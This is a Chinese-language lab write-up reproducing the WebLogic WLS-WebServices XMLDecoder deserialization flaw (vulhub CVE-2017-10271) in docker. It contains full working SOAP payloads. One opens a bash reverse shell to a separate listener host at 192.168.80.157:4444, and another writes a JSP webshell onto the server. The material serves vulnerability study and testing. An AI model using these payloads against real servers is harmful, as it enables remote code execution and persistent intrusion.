Weblogic WLS-WebServices组件反序列化漏洞复现

漏洞分析：

当weblogic使用WLS-WebServices组件时，该组件会调用XMLDecoder解析XML数据，由此就产生了该漏洞

影响版本：

weblogic<10.3.6版本

复现过程：

依然还是用docker，输入命令：

docker-compose up -d

进入该环境，访问http://192.168.80.156:7001/，出现如下界面；

抓包，修改包重新发送：发送内容如下：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.80.156:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.80.157/4444 &gt;&amp;1</string>    //这里的反弹shell必须编码，否则在解析XML时，会返回格式错误
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

反弹shell成功：

写入webshell：

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

然后访问http://192.168.80.156:7001/bea_wls_internal/test.jsp:

 参考链接：https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271